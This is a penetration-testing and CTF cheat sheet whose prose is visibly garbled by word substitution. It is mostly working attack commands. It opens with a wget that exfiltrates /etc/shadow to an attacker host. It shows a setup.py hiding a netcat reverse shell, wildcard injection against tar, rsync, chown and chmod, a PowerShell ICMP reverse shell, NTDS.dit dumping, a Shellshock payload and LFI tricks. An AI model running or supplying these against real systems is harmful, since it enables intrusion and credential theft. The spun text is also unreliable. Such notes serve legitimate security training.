sudo -u root wget --post-file=/etc/shadow http://AttackerIP:Port
Package Installation
pipIf the user have got been provided permission to install packages every bit a sudo for example
User username may run the next commands on hostname: (root) /usr/bin/pip install *
First, create a folder (Let’s call it helloworld), in addition to create 2 files setup.py in addition to helloworld.py
username@hostname:/tmp/helloworld$ ls helloworld.py setup.py
cat setup.py from setuptools import setup import bone impress os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc 10.10.14.26 4444 >/tmp/f") setup( name='helloworld-script', # This is the call of your PyPI-package. version='0.1', # Update the version number for novel releases scripts=['helloworld'] # The call of your scipt, in addition to also the command you'll live using for calling it )
cat helloworld.py #!/usr/bin/env python impress "Hello World"
The higher upwards packet tin live installed past times using
sudo -u root /usr/bin/pip install -e /tmp/helloworld Obtaining file:///tmp/helloworld
Refer Installing Packages for unlike ways to install a pip package
Let’s consider the installed application
pip listing Flask-CouchDB (0.2.1) helloworld-script (0.1, /tmp/helloworld) Jinja2 (2.10)
npm allows packages to bring actions that could final result inward a malicious npm packet writer to create a worm that spreads across the bulk of the npm ecosystem. Refer npm fails to trammel the actions of malicious npm packages , npm install could live dangerous: Rimrafall in addition to Package install scripts vulnerability
Unix Wildcards
The below text is direct from the DefenseCode Unix WildCards Gone Wild.Chown file reference fob (file possessor hijacking)
First genuinely interesting target I’ve stumbled across is ‘chown’. Let’s say that nosotros have got some publicly writeable directory alongside bunch of PHP files inward there, in addition to root user wants to modify possessor of all PHP files to ‘nobody’. Pay attending to the file owners inward the next files list.[root@defensecode public]# ls -al total 52 drwxrwxrwx. 2 user user 4096 October 28 17:47 . drwx------. 22 user user 4096 October 28 17:34 .. -rw-rw-r--. 1 user user 66 October 28 17:36 admin.php -rw-rw-r--. 1 user user 34 October 28 17:35 ado.php -rw-rw-r--. 1 user user fourscore October 28 17:44 config.php -rw-rw-r--. 1 user user 187 October 28 17:44 db.php -rw-rw-r--. 1 user user 201 October 28 17:35 download.php -rw-r--r--. 1 leon leon 0 October 28 17:40 .drf.php -rw-rw-r--. 1 user user 43 October 28 17:35 file1.php -rw-rw-r--. 1 user user 56 October 28 17:47 footer.php -rw-rw-r--. 1 user user 357 October 28 17:36 global.php -rw-rw-r--. 1 user user 225 October 28 17:35 header.php -rw-rw-r--. 1 user user 117 October 28 17:35 inc.php -rw-rw-r--. 1 user user 111 October 28 17:38 index.php -rw-rw-r--. 1 leon leon 0 October 28 17:45 --reference=.drf.php -rw-rw----. 1 user user 66 October 28 17:35 password.inc.php -rw-rw-r--. 1 user user 94 October 28 17:35 script.php
[root@defensecode public]# chown -R nobody:nobody \*.php
root@defensecode public]# ls -al total 52 drwxrwxrwx. 2 user user 4096 October 28 17:47 . drwx------. 22 user user 4096 October 28 17:34 .. -rw-rw-r--. 1 leon leon 66 October 28 17:36 admin.php -rw-rw-r--. 1 leon leon 34 October 28 17:35 ado.php -rw-rw-r--. 1 leon leon fourscore October 28 17:44 config.php -rw-rw-r--. 1 leon leon 187 October 28 17:44 db.php -rw-rw-r--. 1 leon leon 201 October 28 17:35 download.php -rw-r--r--. 1 leon leon 0 October 28 17:40 .drf.php -rw-rw-r--. 1 leon leon 43 October 28 17:35 file1.php -rw-rw-r--. 1 leon leon 56 October 28 17:47 footer.php -rw-rw-r--. 1 leon leon 357 October 28 17:36 global.php -rw-rw-r--. 1 leon leon 225 October 28 17:35 header.php -rw-rw-r--. 1 leon leon 117 October 28 17:35 inc.php -rw-rw-r--. 1 leon leon 111 October 28 17:38 index.php -rw-rw-r--. 1 leon leon 0 October 28 17:45 --reference=.drf.php -rw-rw----. 1 leon leon 66 October 28 17:35 password.inc.php -rw-rw-r--. 1 leon leon 94 October 28 17:35 script.php
-rw-r--r--. 1 leon leon 0 October 28 17:40 .drf.php -rw-rw-r--. 1 leon leon 0 October 28 17:45 --reference=.drf.php
Let’s banking concern check chown manual page (man chown):
--reference=RFILE usage RFILE's possessor in addition to grouping rather than specifying OWNER:GROUP values
To conclude, reference alternative tin live abused to modify ownership of files to some arbitrary user. If nosotros laid some other file every bit declaration to the –reference option, file that’s owned past times some other user, non ‘leon’, inward that instance he would move possessor of all files inward this directory. With this elementary chown parameter pollution, nosotros tin fob root into changing ownership of files to arbitrary users, in addition to practically “hijack” files that are of involvement to us.
Even more, if user ‘leon’ previously created a symbolic link inward that directory that points to let’s say /etc/shadow, ownership of /etc/shadow would also live changed to the user ‘leon’.
Chmod file reference trick
Another interesting assail vector similar to previously described ‘chown’ assail is ‘chmod’. Chmod also has –reference alternative that tin live abused to specify arbitrary permissions on files selected alongside asterisk wildcard. Chmod manual page (man chmod):--reference=RFILE : usage RFILE's fashion instead of MODE values
[root@defensecode public]# ls -al total 68 drwxrwxrwx. 2 user user 4096 October 29 00:41 . drwx------. 24 user user 4096 October 28 18:32 .. -rw-rw-r--. 1 user user 20480 October 28 19:13 admin.php -rw-rw-r--. 1 user user 34 October 28 17:47 ado.php -rw-rw-r--. 1 user user 187 October 28 17:44 db.php -rw-rw-r--. 1 user user 201 October 28 17:43 download.php -rwxrwxrwx. 1 leon leon 0 October 29 00:40 .drf.php -rw-rw-r--. 1 user user 43 October 28 17:35 file1.php -rw-rw-r--. 1 user user 56 October 28 17:47 footer.php -rw-rw-r--. 1 user user 357 October 28 17:36 global.php -rw-rw-r--. 1 user user 225 October 28 17:37 header.php -rw-rw-r--. 1 user user 117 October 28 17:36 inc.php -rw-rw-r--. 1 user user 111 October 28 17:38 index.php -rw-r--r--. 1 leon leon 0 October 29 00:41 --reference=.drf.php -rw-rw-r--. 1 user user 94 October 28 17:38 script.php
[root@defensecode public]# chmod 000 *
[root@defensecode public]# ls -al total 68 drwxrwxrwx. 2 user user 4096 October 29 00:41 . drwx------. 24 user user 4096 October 28 18:32 .. -rwxrwxrwx. 1 user user 20480 October 28 19:13 admin.php -rwxrwxrwx. 1 user user 34 October 28 17:47 ado.php -rwxrwxrwx. 1 user user 187 October 28 17:44 db.php -rwxrwxrwx. 1 user user 201 October 28 17:43 download.php -rwxrwxrwx. 1 leon leon 0 October 29 00:40 .drf.php -rwxrwxrwx. 1 user user 43 October 28 17:35 file1.php -rwxrwxrwx. 1 user user 56 October 28 17:47 footer.php -rwxrwxrwx. 1 user user 357 October 28 17:36 global.php -rwxrwxrwx. 1 user user 225 October 28 17:37 header.php -rwxrwxrwx. 1 user user 117 October 28 17:36 inc.php -rwxrwxrwx. 1 user user 111 October 28 17:38 index.php -rw-r--r--. 1 leon leon 0 October 29 00:41 --reference=.drf.php -rwxrwxrwx. 1 user user 94 October 28 17:38 script.php
Tar arbitrary command execution
Previous instance is squeamish instance of file ownership hijacking. Now, let’s move to fifty-fifty to a greater extent than interesting materials similar arbitrary command execution. Tar is really mutual unix plan for creating in addition to extracting archives. Common usage for lets say creating archives is:[root@defensecode public]# tar cvvf archive.tar *
--checkpoint[=NUMBER] : display progress messages every NUMBERth tape (default 10) --checkpoint-action=ACTION : execute ACTION on each checkpoint
Check the next directory:
[root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 October 28 19:34 . drwx------. 24 user user 4096 October 28 18:32 .. -rw-rw-r--. 1 user user 20480 October 28 19:13 admin.php -rw-rw-r--. 1 user user 34 October 28 17:47 ado.php -rw-r--r--. 1 leon leon 0 October 28 19:19 --checkpoint=1 -rw-r--r--. 1 leon leon 0 October 28 19:17 --checkpoint-action=exec=sh shell.sh -rw-rw-r--. 1 user user 187 October 28 17:44 db.php -rw-rw-r--. 1 user user 201 October 28 17:43 download.php -rw-rw-r--. 1 user user 43 October 28 17:35 file1.php -rw-rw-r--. 1 user user 56 October 28 17:47 footer.php -rw-rw-r--. 1 user user 357 October 28 17:36 global.php -rw-rw-r--. 1 user user 225 October 28 17:37 header.php -rw-rw-r--. 1 user user 117 October 28 17:36 inc.php -rw-rw-r--. 1 user user 111 October 28 17:38 index.php -rw-rw-r--. 1 user user 94 October 28 17:38 script.php -rwxr-xr-x. 1 leon leon 12 October 28 19:17 shell.sh
[root@defensecode public]# tar cf archive.tar * uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-rw-r--r--. 1 leon leon 0 October 28 19:19 --checkpoint=1 -rw-r--r--. 1 leon leon 0 October 28 19:17 --checkpoint-action=exec=sh shell.sh -rwxr-xr-x. 1 leon leon 12 October 28 19:17 shell.sh Options '--checkpoint=1' in addition to '--checkpoint-action=exec=sh shell.sh' are passed to the 'tar' plan every bit command line options. Basically, they command tar to execute shell.sh vanquish script upon the execution.
[root@defensecode public]# truthful cat shell.sh /usr/bin/id
Rsync arbitrary command execution
Rsync is “a fast, versatile, remote (and local) file-copying tool”, that is really mutual on Unix systems. If nosotros banking concern check ‘rsync’ manual page, nosotros tin ane time again regain options that tin live abused for arbitrary command execution.Rsync manual: “You usage rsync inward the same way you lot usage rcp. You must specify a source in addition to a destination, ane of which may live remote.”
Interesting rsync alternative from manual:
-e, --rsh=COMMAND specify the remote vanquish to usage --rsync-path=PROGRAM specify the rsync to run on remote machine
# rsync -t *.c foo:src/
[root@defensecode public]# ls -al total 72 drwxrwxrwx. 2 user user 4096 Mar 28 04:47 . drwx------. 24 user user 4096 October 28 18:32 .. -rwxr-xr-x. 1 user user 20480 October 28 19:13 admin.php -rwxr-xr-x. 1 user user 34 October 28 17:47 ado.php -rwxr-xr-x. 1 user user 187 October 28 17:44 db.php -rwxr-xr-x. 1 user user 201 October 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 43 October 28 17:35 file1.php -rwxr-xr-x. 1 user user 56 October 28 17:47 footer.php -rwxr-xr-x. 1 user user 357 October 28 17:36 global.php -rwxr-xr-x. 1 user user 225 October 28 17:37 header.php -rwxr-xr-x. 1 user user 117 October 28 17:36 inc.php -rwxr-xr-x. 1 user user 111 October 28 17:38 index.php -rwxr-xr-x. 1 user user 94 October 28 17:38 script.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
[root@defensecode public]# rsync -t *.c foo:src/ rsync: connexion unexpectedly closed (0 bytes received so far) [sender] rsync error: error inward rsync protocol information flow (code 12) at io.c(601) [sender=3.0.8]
[root@defensecode public]# ls -al total 76 drwxrwxrwx. 2 user user 4096 Mar 28 04:49 . drwx------. 24 user user 4096 October 28 18:32 .. -rwxr-xr-x. 1 user user 20480 October 28 19:13 admin.php -rwxr-xr-x. 1 user user 34 October 28 17:47 ado.php -rwxr-xr-x. 1 user user 187 October 28 17:44 db.php -rwxr-xr-x. 1 user user 201 October 28 17:43 download.php -rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 user user 43 October 28 17:35 file1.php -rwxr-xr-x. 1 user user 56 October 28 17:47 footer.php -rwxr-xr-x. 1 user user 357 October 28 17:36 global.php -rwxr-xr-x. 1 user user 225 October 28 17:37 header.php -rwxr-xr-x. 1 user user 117 October 28 17:36 inc.php -rwxr-xr-x. 1 user user 111 October 28 17:38 index.php -rwxr-xr-x. 1 user user 94 October 28 17:38 script.php -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c -rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c -rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
[root@defensecode public]# truthful cat shell_output.txt uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@defensecode public]# truthful cat shell.c /usr/bin/id > shell_output.txt
Tips in addition to Tricks
Windows
Get-ChildItem Mode Values
‘Mode’ values returned past times PowerShell’s Get-ChildItem cmdlet?PS> gci|select mode,attributes -u Mode Attributes ---- ---------- d----- Directory d-r--- ReadOnly, Directory d----l Directory, ReparsePoint -a---- Archive
d - Directory a - Archive r - Read-only h - Hidden s - System l - Reparse point, symlink, etc.
Zip or unzip using ONLY Windows’ built-in capabilities?
Powershell wayAdd-Type -A System.IO.Compression.FileSystem [IO.Compression.ZipFile]::CreateFromDirectory('foo', 'foo.zip') [IO.Compression.ZipFile]::ExtractToDirectory('foo.zip', 'bar')
Alternate Data Stream
Sometimes, Alternate Data Stream tin live used to enshroud information inward streams.The output shows non only the call of the ADS in addition to its size, but also the unnamed information flow in addition to its size is also listed (shown every bit :$DATA).
Powershell-Way
PS > Get-Item -Path C:\Users\Administrator\example.zip -stream * Filename: C:\Users\Administrator\example.zip Stream Length ------ ------- :$DATA 8 pass.txt 4
Get-Content -Path C:\Users\Administrator\example.zip -Stream pass.txt The password is Passw0rd!
gci -recurse | % { gi $_.FullName -stream * } | where flow -ne ':$Data'
Current directory ADS Streams
dir /r | regain ":$DATA"
dir /s /r | regain ":$DATA"
more < testfile.txt:hidden_stream::$DATA
Redirecting Standard Out in addition to Standard Error from PowerShell Start-Process
Often opposite shells volition non display measure error. Sometimes they volition non display measure out when a novel procedure is started. The next volition redirect measure out in addition to measure error to text files when PowerShell starts a novel process.PS C:\> Start-Process -FilePath C:\users\administrator\foo.txt -NoNewWindow -PassThru -Wait -RedirectStandardOutput stdout.txt -RedirectStandardError stderr.txt
NTDS.dit in addition to SYSTEM hive
If you lot have got found files such asIP_psexec.ntdsgrab._333512.dit: Extensible storage engine DataBase, version 0x620, checksum 0x16d44752, page size 8192, DirtyShutdown, Windows version 6.1 IP_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or higher upwards
python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
ICMP Shell
Sometimes, inbound in addition to outbound traffic from whatever port is disallowed in addition to only ICMP traffic is allowed. In that case, nosotros tin usage Simple opposite ICMP Shell However, this requires the executable to live nowadays on the system. There’s a powershell version of ICMP Reverse Shell Sometimes, probably, nosotros tin execute powershell code on the machine. In that case, nosotros tin usage the one-liner powershell code to execute the shell.powershell -nop -c "$ip='your_ip'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment = $true; $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes('OK'), $po); piece ($true) { $ry = $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes(''), $po); if ($ry.Buffer) { $rs = ([text.encoding]::ASCII).GetString($ry.Buffer); $rt = (Invoke-Expression -Command $rs | Out-String ); $ic.Send($ip,60*1000,([text.encoding]::ASCII).GetBytes($rt),$po); } }"
- Convert the file/ code which needs to live transferred inward to base64. (If possible, withdraw all the unnecessary code/ comments, this would assist us to trim down the length of the base64). Do brand sure enough that your base64 when converted dorsum is correct! Refer PowerShell –EncodedCommand in addition to Round-Trips
- Utilize the Add-Content cmdlet to transfer the file to the victim system. Do, call upwards to transfer the information inward chunks every bit nosotros have got express buffer! Probably, nosotros have got to run the below command twice or thrice to transfer the whole base64-encoded chunk.
Add-Content <filename> "Base64 encoded content"
- Once the base64-encoded information is transferred, nosotros tin utilize certutil from Microsoft to decode the base64-encoded to normal file.
certutil <-decode/ -encode> <input file> <output file> -decode Decode a Base64-encoded file -encode Encode a file to Base64
- Now, nosotros tin execute the file (assuming powershell ps1 file) to acquire the total powershell ICMP opposite vanquish alongside buffer direction so, nosotros would live able to acquire total output of the commands.
- Now, most of the fourth dimension after getting the intial shell, probably, nosotros would have got figured out user credentials ( let’s say from www-data or iisapppool user to normal/ admin user credentials. ) At this dot of time, nosotros tin usage the below code to create a PSCredential.
$username = 'UsernameHere'; $password = 'PasswordHere'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
- Once, nosotros have got created a PSCredential, nosotros tin usage Invoke-Command to execute command every bit that user.
Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {Command to live executed} -ComputerName localhost is required every bit the code is to live executed on localhost, without -ComputerName, InvokeCommand doesn't work.
- Possibly, nosotros tin execute the ICMP Shell code to acquire the vanquish every bit the novel user.
- One problem, which nosotros gonna confront is, when nosotros are running ICMP Shell alongside unlike users for example, initiative of all alongside IISWebpool, in addition to then alongside User1, in addition to then alongside user2, nosotros would acquire multple times IISWebpool every bit that powershell procedure (on UDP) is silent running. One way to this is Just earlier launching a novel ICMP vanquish every bit a unlike user.
- Check powershell processes alongside Show-Process
Show-Process -Name *power* "
- Note downwardly the PID
- Execute vanquish every bit the unlike user
- Stop-Process the previous PID
Recovering password from System.Security.SecureString
If nosotros have got windows credentials stored every bit System.Security.SecureString, nosotros tin use$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword) $UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecurePassword = (New-Object PSCredential "user",$SecurePassword).GetNetworkCredential().Password
PS> $PlainPassword = Read-Host -AsSecureString "Enter password" PS> Enter password: *** PS> $PlainPassword PS> System.Security.SecureString PS> $UnsecurePassword1 = (New-Object PSCredential "user",$PlainPassword).GetNetworkCredential().Password PS> $UnsecurePassword1 PS> yum
Copy To or From a PowerShell Session
This is a awesome characteristic to re-create files from unlike computers on which nosotros have got a WinRM or Remote PS Session. Directly taken from Copy To or From a PowerShell Session- Copy Local files to a remote session :
##Initialize the session $TargetSession = New-PSSession -ComputerName HALOMEM03 ## Copy Files from Local session to remote session Copy-Item -ToSession $TargetSession -Path "C:\Users\Administrator\desktop\scripts\" -Destination "C:\Users\administrator.HALO\desktop\" -Recurse
- Copy some files from a remote session to the local server:
## Create the session $SourceSession = New-PSSession -ComputerName HALODC01 ## Copy from Remote machine to Local machine Copy-Item -FromSession $SourceSession -Path "C:\Users\Administrator\desktop\scripts\" -Destination "C:\Users\administrator\desktop\" -Recurse
Get-Hash
Get-FileHash Computes the hash value for a file past times using a specified hash algorithm.PS > Get-FileHash Hello.rst Algorithm Hash Path --------- ---- ---- SHA256 8A7D37867537DB78A74A473792928F14EDCB3948B9EB11A48D6DE38B3DD30EEC /tmp/Hello.rst
Active Directory Enumeration in addition to Remote Code Execution
Probably, refer Infrastructure PenTest Series : Part 3 - ExploitationIt contains
- Active Directory Reconnaissance : Information nigh active directory enumeration alongside Domain User rights past times diverse methods such every bit rpclient, enum4linux, nltest, netdom, powerview, bloodhound, adexplorer, Jexplorer, Remote Server Administration Tools, Microsoft Active Directory Topology Diagrammer, reconnaissance using powershell, powershell adsisearcher etc.
- Remote Code Execution Methods : Information nigh multiple ways to acquire a execute remote commands on the remote machine such winexe, crackmapexec, impacket psexec, smbexec, wmiexec, Metasploit psexec, Sysinternals psexec, task scheduler, scheduled tasks, service controller (sc), remote registry, WinRM, WMI, DCOM, Mimikatz Pass the hash/ Pass the ticket, remote desktop etc.
Others
- Invoking Net Use using Credentials to mountain remote system
The below instance executes command on file.bitvijays.local calculator alongside Domain Administrator credentials in addition to utilizes meshwork usage to mountain Domain Controller C Drive in addition to read a particular file
Invoke-Command -ComputerName file.bitvijays.local -Credential $credential -ScriptBlock {net usage x: \\dc.bitvijays.local\C$ /user:bitvijays.local\domainadministrator_user DA_Passw0rd!; type x:\users\administrator\desktop\imp.txt}
Wget
FTP via Wget
If ftp anonymous login is provided or you lot have got login details, you lot tin download the contents past times wget, (For anonymous login user password are non required)wget -rq ftp://IP --ftp-user=username --ftp-password=password
wgetrc Commands
output_document = file -- Set the output filename—the same every bit ‘-O file’. post_data = string -- Use POST every bit the method for all HTTP requests in addition to shipping string inward the asking body. The same every bit ‘--post-data=string’. post_file = file -- Use POST every bit the method for all HTTP requests in addition to shipping the contents of file inward the asking body. The same every bit ‘--post-file=file’. -P prefix --directory-prefix=prefix Set directory prefix to prefix. The directory prefix is the directory where all other files in addition to subdirectories volition live saved to, i.e. the top of the retrieval tree. The default is . (the electrical flow directory).
Tricks
- The interesting component alongside -P Parameter is you lot tin relieve the file inward /tmp if your electrical flow directory is /. Let me explain, Let’s say, your electrical flow directory is /home/user/ if nosotros do
it would create a tmp folder inward the /home/user/ in addition to relieve the file inward that. However, if you lot electrical flow directory is /, it would relieve the file inward /tmp folder, from where you lot tin execute stuff.wget IPAddress -P tmp
- wget accepts IP address inward decimal format
- wget shortens the filename if it’s likewise long. For example, if you lot provide a filename to the wget which is really long (i.e around 255 character), wget mightiness shorten it. This mightiness live helpful inward cases where only a jpg file is allowed to live uploaded, notwithstanding every bit wget shortens it, nosotros may seek aaaaaaaaaaaa (*255/ somenumber).php.jpg in addition to wget shortens it to aaaaaaa(*255).php
SSH
ssh_config
If you lot know the password of the user, however, ssh is non allowing you lot to login, banking concern check ssh_config.## Tighten safety after safety incident ## root never gets to log inward remotely PermitRootLogin no ## Eugene & Margo tin SSH in, no-one else allowed AllowUsers example_user1 example_user2 ## SSH keys only but example_user1 tin usage a password Match user example_user1 PasswordAuthentication yes ## End tighten safety
SSH Tunneling
SSH protocol, which supports bi-directional communication channels tin create encrypted tunnels.Local Port Forwarding
SSH local port forwarding allows us to tunnel a local port to a remote server, using SSH every bit the carry protocol.ssh sshserver -L <local port to listen>:<remote host>:<remote port>
Imagine we’re on a individual network which doesn’t allow connections to a specific server. Let’s say you’re at piece of work in addition to youtube is beingness blocked. To acquire around this nosotros tin create a tunnel through a server which isn’t on our network in addition to thus tin access Youtube.
$ ssh -L 9000:imgur.com:80 user@example.com
Syntax
-L [bind_address:]port:host:hostport -L [bind_address:]port:remote_socket -L local_socket:host:hostport -L local_socket:remote_socket Specifies that connections to the given TCP port or Unix socket on the local (client) host are to live forwarded to the given host in addition to port, or Unix socket, on the remote side. This industrial plant past times allocating a socket to take heed to either a TCP port on the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connexion is made to the local port or socket, the connexion is forwarded over the secure channel, in addition to a connexion is made to either host port hostport, or the Unix socket remote_socket, from the remote machine. Port forwardings tin also live specified inward the configuration file. Only the superuser tin frontward privileged ports. IPv6 addresses tin live specified past times enclosing the address inward foursquare brackets. By default, the local port is bound inward accordance alongside the GatewayPorts setting. However, an explicit bind_address may live used to bind the connexion to a specific address. The bind_address of “localhost” indicates that the listening port live bound for local usage only, piece an empty address or ‘*’ indicates that the port should live available from all interfaces.
tcp4 0 0 *.ssh *.* LISTEN tcp6 0 0 *.ssh *.* LISTEN tcp4 0 0 localhost.8080 *.* LISTEN tcp4 0 0 localhost.8081 *.* LISTEN
ssh -L IP_Address_of_Machine:<Port-which-we-want-to-open-Let's say-9000>:127.0.0.1:<localhost-port-which-we-want-to-map-let's-say-8080> user@IP_Address_of_Machine
ssh -L 10.10.10.10:9000:127.0.0.1:8080 user@10.10.10.10 in addition to ssh -L 10.10.10.10:9001:127.0.0.1:8081 user@10.10.10.10
Remote Port Forwarding
SSH remote port forwarding allows us to tunnel a remote port to a local server.ssh sshserver -R <remote port to bind>:<local host>:<local port>
Let’s say there’s a wordpress web-application nosotros have got compromised in addition to have got a www-data shell. Also, let’s say, nosotros are within a docker surroundings alongside the network below
172.16.0.1 Host-Machine 172.16.0.2 WordPress 172.16.0.3 Joomla 172.16.0.4 Mysql
ssh bitvijays@10.10.15.111 -R 3306:172.16.0.4:3306
As nosotros would live in all probability within the docker in addition to www-data user, nosotros mightiness non have got ssh binary in addition to proper surroundings variable inward that case, nosotros tin add together below options
./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null -v -i id_rsa -R 3306:172.16.0.4:3306 -fN bitvijays@10.10.15.111
SSH every bit SOCKS Proxy
We tin usage ssh to have got a socks proxy to connect to vnc, ssh, rdp if vm is hosting inward some other vm in addition to and then usage remmina to access VNC.ssh -D localhost:9050 user@host -D [bind_address:]port Specifies a local “dynamic” application-level port forwarding. This industrial plant past times allocating a socket to take heed to port on the local side, optionally bound to the specified bind_address. Whenever a connexion is made to this port, the connexion is forwarded over the secure channel, in addition to the application protocol is in addition to then used to create upwards one's take heed where to connect to from the remote machine. Currently the SOCKS4 in addition to SOCKS5 protocols are supported, in addition to ssh volition human activity every bit a SOCKS server. Only root tin frontward privileged ports. Dynamic port forwardings tin also live specified inward the configuration file.
proxychains4 remmina/ rdesktop
HTTP
First things
- View Source of the web-page (Ctrl+U).
- Inspect chemical factor of the web-page (F12).
- See if at that spot is whatever hint inward the championship of the spider web page. (example: /Magic).
- Check the scroll button! Sometimes, at that spot are likewise many lines in addition to something hidden inward the halt of the webpage!
- Check for whatever long file names such admin_5f4dcc3b5aa765d61d8327deb882cf99.txt; Such long names tin live base64-encoded, hex, md5 etc.
- If whatever login page is implemented asking for username in addition to password. Check how it is implemented? Is it using whatever open-source authentication modules? If so, facial expression if at that spot are whatever default passwords for that.
- If there’s a page where redirect is happening (for example, http://example.com or http://example.com/support.php redirects us to http://example.com/login.php) However, the reply size for example.com or support.php is a chip off, peculiarly considering the page gives a 302 redirect. We may usage No-redirect extension from firefox in addition to persuasion the page. We may also utilize curl/ burp to persuasion the response.
- List of HTTP Headers : Quite of import when you lot desire to laid headers/ cookies etc.
- Watch for places where the site redirects you lot (it adds something to the URL in addition to displays the homepage). If you lot consider that happen, seek adjusting the URL manually. for example: when browsing
it redirects to
nosotros may regain something past times adjusting the URL manually to
CSC Austria: CTF Tips in addition to Tricks
Refer SEC Consult – Cyber Security Challenge Republic of Austria /CTF Tips & Tricks- Read the source code / comments
- Check for mutual hidden files / folders (.git, .ssh, robots.txt, backup, .DS_Store, .svn, changelog.txt, server-status, admin, administrator, …)
- Check for mutual extensions (Example: If you lot consider a index.php file, banking concern check index.php.tmp, index.php.bak, in addition to so on)
- Play alongside the URL / parameters / cookies (Example: If you lot have got a page alongside index.php?role=user seek to modify it to index.php?role=admin).
- Get familiar alongside the website, it’s functionalities in addition to features earlier starting an in-depth analysis.
- Try to map the total attack-surface of the website! Some vulnerabilities are hidden deep inward hard-to-reach functionalities.
- Test for the most mutual vulnerabilities similar SQLi (SQL Injection), XXE (XML Entity Injection), Path Traversal, File Uploads, Command Injection, Cookie Tampering, XSS (Cross-Site-Scripting), XPATH Injection, Unserialization bugs, Outdated software, CSRF (Cross-Site-Request-Forgery), SSRF (Server-Side-Request-Forgery), SSTI (Server-Side Template Injection), LFI/RFI (Local-File-Inclusion / Remote-File-Inclusion), Flaws inward Session Management or Authorization Flaws, the randomness of the cookies, in addition to so on.
- If you lot come upwards across a applied scientific discipline which you lot don’t know, seek to google safety writeups for these technologies.
- Try special characters
(‘, “, {, ;, |, &&, \, /, !(), %…)
inward all input fields (GET- in addition to POST parameters in addition to Cookies) in addition to banking concern check for uncommon responses or error messages.
- To regain blind vulnerabilities (SQL injection, command injection, XSS, …) you lot tin usage fourth dimension delays or requests to ane of your spider web servers (check the access logs).
- If you lot tin provide a path or a filename to the website, you lot should examine for path traversal vulnerabilities. If the application replaces the
“../”
alongside an empty string, you lot tin seek to bypass it past times injecting the sequence 2 times, like:
If the “../” inward the middle gets replaced, the application volition ane time again piece of work alongside “../”. You tin also seek unlike encodings or other removed characters. Moreover, you lot tin seek to create or upload (e.g. via archives) a symbolic link.“…/./”.
- If you lot found a LFI (local-file-inclusion) vulnerability inward a PHP website in addition to you lot desire to read the PHP scripts, you lot tin usage php-filter (you can’t ordinarily read .php files because the inclusion would seek to execute the code instead of displaying it; alongside php-filter you lot tin initiative of all base64-encode the content to display it):
index.php?filename=php://filter/convert.base64-encode/resource=index.php
htaccess - UserAgent
When you lot consider something similar this “Someone’s sup3r s3cr3t dr0pb0x - only me in addition to Steve Jobs tin consider this content”. Which says, only this tin consider me. Try to consider what user-agent it is talking about. The way it is implemented is past times usage of .htaccess filecat .htaccess BrowserMatchNoCase "iPhone" allowed Order Deny,Allow Deny from ALL Allow from env=allowed ErrorDocument 403 “<H1>Super undercover location - only me in addition to Steve Jobs tin consider this content</H1><H2>Lol</H2>”
CGI-BIN Shellshock
To empathize shellshock few blogs tin live referred such every bit ShellShocked – Influenza A virus subtype H5N1 quick demo of how slow it is to exploit , Inside Shellshock: How hackers are using it to exploit systemscurl -H "User-Agent: () { :; }; echo 'Content-type: text/html'; echo; /bin/cat /etc/passwd" http://192.168.56.2:591/cgi-bin/cat
echo "Content-type: text/html" echo ""
Shellshock Local Privilege Escalation
Binaries alongside a setuid chip in addition to calling (directly or indirectly) bash through execve, popen or scheme are tools which may live used to activate the Shell Shock bug.
sudo PS1="() { :;} ; /bin/sh" /home/username/suidbinary
XSS/ HTML Injection
The below volition redirect the page to google.com<META http-equiv=“refresh” content=“0;URL=http://www.google.com”>
curl
-k, --insecure (SSL) This alternative explicitly allows curl to perform "insecure" SSL connections in addition to transfers. All SSL connections are attempted to live made secure past times using the CA certificate bundle installed past times default. This makes all connections considered "insecure" neglect unless -k, --insecure is used. -I, --head (HTTP/FTP/FILE) Fetch the HTTP-header only! HTTP-servers characteristic the command HEAD which this uses to acquire goose egg but the header of a document. When used on an FTP or FILE file, curl displays the file size in addition to lastly modification fourth dimension only.
HTTP Referer
The Referer asking header contains the address of the previous spider web page from which a link to the currently requested page was followed. The Referer header allows servers to seat where people are visiting them from in addition to may usage that information for analytics, logging, or optimized caching.Referer: <url> <url> An absolute or partial address of the previous spider web page from which a link to the currently requested page was followed. URL fragments (i.e. "#section") are non included.
Login-Pages
To examine login pages, nosotros may usage burpsuite intruder in addition to banking concern check for unlike length of response.Delete Tags
